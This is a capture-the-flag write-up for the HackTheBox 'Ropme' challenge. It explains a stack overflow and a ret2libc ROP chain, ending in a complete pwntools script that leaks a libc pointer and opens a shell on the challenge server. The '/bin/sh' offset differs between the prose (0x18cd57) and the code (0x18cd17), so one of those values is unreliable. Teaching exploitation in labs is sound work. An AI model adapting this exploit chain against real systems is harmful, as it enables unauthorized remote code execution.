HackTheBox – Ropme

In this write-up we will be visiting the Ropme challenge from HackTheBox.

Can you pwn the service and get the flag?


As with any binary exploitation challenge, we start by running checksec on the binary to see which kinds of protections are enabled.

We find that NX is enabled. This effectively means that we cannot execute contents of the stack. However, we also find that PIE is not enabled meaning that the main binary has a static location in memory starting at address 0x400000. Let’s open the binary in IDA and analyze it to find out what it does.

We see that the binary is very simple. IT outputs “ROP me outside, how ‘about dah?” and then reads 499 (0x1f4) bytes into a buffer located at [rbp-0x40]. This effectively means that we are able to overflow the destination buffer for the read function call, as the buffer has a maximum size of 64 (0x40) bytes.

Now that we understand the binary and have found a vulnerable stack overflow, we can proceed with our attack. However, since NX is enabled for the binary we cannot execute the contents of the stack directly, and must therefore use other methods such as ROP gadgets. We pull out a ROP gadget tool of choice (in this case ropper) and load the ropme binary.

We then scroll through the gadgets to see if we can locate a syscall gadget, since we need one in order to spawn a shell with a ROP chain directly. Sadly we were unable to find a such gadget, so we must choose an alternative route. We can attempt to perform a ret2libc attack, in which we leak a pointer to some function in the libc shared library and use this leak as a basis for computing the addresses of the system function and a “/bin/sh” string within the libc shared library. We can use the imported puts function from the .plt section referenced in main to output the puts pointer from the .got section which points to the real puts function inside the libc shared library. In order to do this, we must be able to control rdi.

As can be seen in the illustration above, we were able to locate a pop rdi gadget. Now we simply need to locate the puts function in the .plt section of the binary and the puts pointer in the .got section of the binary.

As can be seen in the illustration above, we found the puts function in the .plt section at address 0x4004e0.

As can be seen in the illustration above, we found the puts pointer in the .got section at address 0x601018.

Now that we have all the information we need to leak a pointer to the real puts function inside the libc shared library, we can write a script with a ROP chain to perform the leak for us. However, since ASLR is most likely enabled on the remote system meaning that the libc shared library will shift location everytime we launch a new instance, and since the main function terminates after a single input, we have to terminate our ROP chain with a loop back into main so that it will execute once more and thereby accept another input from us.

from pwn import *

s = remote('docker.hackthebox.eu', 32594)

buf = 'a' * (64 + 8)
buf += p64(0x4006d3)    # gadget [pop rdi; ret;]
buf += p64(0x601018)    # puts (GOT)
buf += p64(0x4004e0)    # puts (PLT)
buf += p64(0x400626)    # main

s.recvline()
s.sendline(buf)

puts = u64(s.recvline().strip().ljust(8, '\x00'))
s.info("GLIBC(puts) leak: {}".format(hex(puts)))
s.close()

We can now run our script to leak a pointer to the puts function inside libc on the remote system.

As can be seen in the illustration above, we were successful in leaking a pointer to puts from the libc shared library. An interesting thing to note about ASLR and libc, is that ASLR will make sure that the binaries placed at randomized addresses are always page-aligned (pages are usually 0x1000 bytes long). This effectively means that the libc shared library will be located at an address that is a multiple of 0x1000 and we can therefore conclude that the last 3 nibbles are never randomized. We can exploit this to find the correct libc version and thereby find out how to compute the address of the system function call and a ‘/bin/sh’ string inside the libc shared library.

We use an online libc database search tool to locate a libc library in which the puts function ends in 0x690 as shown in our leak above.

We find the libc version as shown in the illustration above. From here we can see that the puts function is located at offset 0x6f690, effectively telling us that we can compute the base of the libc shared library by subtracting that value from the leaked pointer. Furthermore, we can see in the above table that we can compute the address of the system function call by adding 0x45390 to the base pointer, and equivalently for a ‘/bin/sh’ by adding 0x18cd57. We can thus compute these addresses as shown below.

glibc = puts - 0x6f690
glibc_system = glibc + 0x45390
glibc_binsh = glibc + 0x18cd17

Now all we have to do is build a ROP chain for invoking the system function call using the ‘/bin/sh’ string as a parameter. This is once again passed through rdi, so we re-use the pop rdi gadget from earlier, as seen in the snippet below.

buf = 'a' * (64 + 8)
buf += p64(0x4006d3)    # gadget [pop rdi; ret;]
buf += p64(glibc_binsh)
buf += p64(glibc_system)

Our script should now contain all necessary components. The final script should look as follows.

from pwn import *

s = remote('docker.hackthebox.eu', 32594)

buf = 'a' * (64 + 8)
buf += p64(0x4006d3)    # gadget [pop rdi; ret;]
buf += p64(0x601018)    # puts (GOT)
buf += p64(0x4004e0)    # puts (PLT)
buf += p64(0x400626)    # main

s.recvline()
s.sendline(buf)

puts = u64(s.recvline().strip().ljust(8, '\x00'))
s.info("GLIBC(puts) leak: {}".format(hex(puts)))

glibc = puts - 0x6f690
glibc_system = glibc + 0x45390
glibc_binsh = glibc + 0x18cd17

buf = 'a' * (64 + 8)
buf += p64(0x4006d3)    # gadget [pop rdi; ret;]
buf += p64(glibc_binsh)
buf += p64(glibc_system)

s.recvline()
s.sendline(buf)
s.interactive()
s.close()

We can now run our script to obtain a shell on the remote system.

And there you have it – the challenge has been solved!

Leave a Reply